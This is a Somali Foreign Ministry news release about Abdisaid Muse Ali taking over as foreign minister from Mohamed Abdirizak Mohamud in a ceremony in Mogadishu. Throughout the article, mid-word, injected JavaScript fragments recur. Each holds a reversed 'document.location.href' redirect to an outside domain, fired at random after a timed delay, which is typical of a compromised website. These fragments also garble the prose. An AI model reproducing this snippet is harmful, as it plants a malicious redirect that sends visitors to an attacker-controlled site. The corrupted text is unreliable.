Mogadishu (MFASomalia) – The Minister of Foreign Affairs and International Cooperation H.E. Mr. Abdisaid Muse Ali, officially assumed his duties on Thursday from his predecessor H.E. Mr. Mohamed Abdirizak Mohamud — in a ceremony held at the Prime Minister’s Office in Mogadishu. The ceremony was attended by Deputy Prime Minister H.E. Mr. Mahdi Mohammed Gulaid (Khadar), ministers, members of the House of People and Senate of Somalia, the Chair of the National Civil Service Commission, an official from the Office of the Auditobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor General, directobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors of the 17 Departments of Foreign Ministry as well as ambassadors and diplomats from the Ministry.

The Permanent Secretary of the Ministry of Foreign Affairs and International Cooperation H.E. Amb. Mohamed Ali-nur Hagi welcomed the new Foreign Minister H.E. Mr. Abdisaid Muse Ali, and his deputy H.E. Mr. Mohamud Abdi Hassan (Pekos) and stressed that the ministry is engaged on many bilateral and multilateral fronts in furthering the foreign policy interests of Somalia abroad and at home. He praised the former Minister of Foreign Affairs H.E. Mr. Mohamed Abdirizak Mohamud for his dedication and loyalty tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the country throughout his service.

In a speech by the former Minister of Foreign Affairs H.E. Mohamed Abdirizak stated that during his one-year tenure as Minister of Foreign Affairs and International Cooperation he delivered key foreign policy priorities. He underlined his confidence in the new minister tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to continue with the implementation of the foreign policy vision of the President and Prime Minister and emphasised his readiness tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to support the minister tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to achieve this.

In his speech, the new Foreign Minister, H.E. Mr. Abdisaid Muse Ali stipulated that the President of the Republic has articulated his foreign policy vision with the implementation of this delegated tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Prime Minister — with the Minister of Foreign Affairs responsible for the day tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to day operations. The Minister pledged tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to redouble efforts tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to achieve the set priorities and advance Somalia’s foreign policy interests.

Deputy Prime Minister, H.E. Mr. Mahdi Mohammed Gulaid (Khadar) said in his closing speech in the ceremony that the Foreign Ministry reflects and shapes the image of the country whilst emphasising that the Ministry is the most significant Ministry with enormous responsibilities and tasks.

He praised the former foreign minister for his outstanding service tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to his country and wishes the new foreign minister success in performing his duties entrusted tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to him tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep pace with the country’s aspirations.